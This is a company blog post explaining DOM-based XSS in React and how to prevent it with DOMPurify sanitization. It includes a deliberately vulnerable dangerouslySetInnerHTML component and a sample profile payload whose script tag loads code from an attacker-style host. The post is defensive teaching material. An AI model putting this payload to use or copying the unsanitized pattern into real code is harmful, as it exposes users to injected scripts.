Preventing DOM-based Cross-Site Scripting (XSS) in React

post-thumb

One of the most prevalent security threats we face in the world-wide-web is Cross-Site Scripting (XSS). XSS occurs when an attacker manages to inject a malicious script into a web site or application, which is then executed in the context of a user’s browser - unwantedly acting on-behalf of the victim. When we as developers build web applications with React, the framework already protects us with a good set of built-in safety measures from unintentionally implementing these kind of vulnerabilities. Yet there are cases not covered by React’s safeguards and which are often overlooked by developers. Let’s get to know them.

Understanding Cross-Site Scripting (XSS) and its flavors

Cross-Site Scripting attacks exploit the trust a user’s browser places in a website. Attackers inject malicious scripts, often in input fields or URLs, that are then executed on unsuspecting users’ browsers. These scripts can steal sensitive information, manipulate user data or perform other malicious actions. Depending on the mechanism, XSS can be categorized.

Reflective (Type-1) XSS

Reflective XSS involves malicious code injected via a URL that the victim clicks and thereby unintentionally brings with by himself.

Stored (Type-2) XSS

Stored XSS stores malicious payload on the server and serves it to unsuspecting users.

But there is also a third category - DOM-based XSS, sometimes referred to as Type-0 XSS. This happens solely on the client-side - the server is completely uninvolved - injecting javascript by manipulating the Document Object Model (DOM) of a web page. So in contrast to the other types of XSS, the page delivered by the server through the HTTP request is not compromised yet behaves in a different way due to a maliciously manipulated DOM tree on the client-side.

DOM-based XSS mitigations in React

React uses a Virtual DOM and automatic HTML escaping to mitigate such type-0 XSS risks. React’s Virtual DOM is an abstraction of the browser’s actual DOM, acting as a buffer between the developer’s code and the browser. When your app’s state changes, React creates a virtual representation of the DOM. It then compares this virtual version with the actual DOM to identify changes. Once discrepancies are pinpointed, React efficiently updates only the altered parts, minimizing costly and potentially hazardous direct DOM manipulations. React’s automatic HTML escaping ensures that user input is treated as plain text, preventing the browser from interpreting it as executable code. This process significantly reduces the chances of DOM-based XSS vulnerabilities.

So, how can they occur despite of?

Basically, everytime we as developers stray from the safe path and bypass the virtual DOM for example with dynamic event handlers and redirects or using createRef or dangerouslySetInnerHtml.

The danger of dangerouslySetInnerHTML

Despite React’s defenses, XSS vulnerabilities can still arise due to developer oversight or improper use of certain features. One such feature is dangerouslySetInnerHTML. This method allows us to inject raw HTML directly into a component’s rendering. While useful in certain scenarios like rendering content from a Content Management Systems (CMS) it can open the door to XSS attacks if not used carefully.

Consider the following code example:

const Profile = (props) => {
  const name = props.name
  const aboutMe = props.aboutMe // Assume this comes from user input.

  return (
    <div>
      <h1>I am {name}</h1>
      <h2>About me</h2>
      <div dangerouslySetInnerHTML={{ __html: aboutMe }} />
    </div>
  );
}

In this example, if the aboutMe content contains a malicious script it will be executed without any protection. Imagine a user filling up his profile with the following data

{
  "name": "Mallory",
  "aboutMe": "<script src=http://mallory.org/xss.js></script>"
}

If another user views Mallory’s profile page he falls victim to the malicious code served from mallory’s evil site being executed as the script-tags are rendered directly into the DOM. This underscores the importance of using dangerouslySetInnerHTML judiciously and validating user input rigorously.

Note how the name property is immune to code injection because React’s automatic HTML escaping renders everything inside name as a plain string.

Preventing XSS with Sanitization: Introducing DOMPurify

To fortify your React application against XSS vulnerabilities it is crucial to sanitize any user-generated input that involves rendering HTML. One powerful tool for this purpose is DOMPurify . DOMPurify is a JavaScript library that helps in preventing XSS attacks by stripping out potentially dangerous HTML and ensuring only safe content is rendered.

With DOMPurify you can cleanse user inputs before rendering them in your components like this:

import DOMPurify from 'dompurify';

const Profile = (props) => {
  const name = props.name
  const sanitizedAboutMe = DOMPurify.sanitize(props.aboutMe)

  return (
    <div>
      <h1>I am {name}</h1>
      <h2>About me</h2>
      <div dangerouslySetInnerHTML={{ __html: sanitizedAboutMe }} />
    </div>
  );
}

In this example, DOMPurify.sanitize() ensures that the aboutMe content is cleansed of any potentially harmful code before rendering, providing a robust defense against XSS attacks.

In conclusion, while React’s built-in mechanisms provide strong protection against XSS vulnerabilities it is essential to remain vigilant nevertheless. Avoiding direct DOM manipulations or properly utilizing dangerouslySetInnerHTML and friends by implementing sanitization techniques like DOMPurify will fortify your React application against potential XSS threats, ensuring a secure and trustworthy user experience.

Pro-actively preventing vulnerabilities like XSS is part of our DevSecOps philosophy and can be ensured by implementing Secure Code Reviews and using tools like ESlint early in the development process.

Lernen Sie uns kennen

Das sind wir

Wir sind ein Software-Unternehmen mit Hauptsitz in Karlsruhe und auf die Umsetzung von Digitalstrategien durch vernetzte Cloud-Anwendungen spezialisiert. Wir sind Microsoft-Partner und erweitern Standard-Anwendungen bei Bedarf – egal ob Modernisierung, Integration, Implementierung von CRM- oder ERP-Systemen, Cloud Security oder Identity- und Access-Management: Wir unterstützen Sie!

Mehr über uns

Der Objektkultur-Newsletter

Mit unserem Newsletter informieren wir Sie stets über die neuesten Blogbeiträge,
Webcasts und weiteren spannenden Themen rund um die Digitalisierung.

Newsletter abonnieren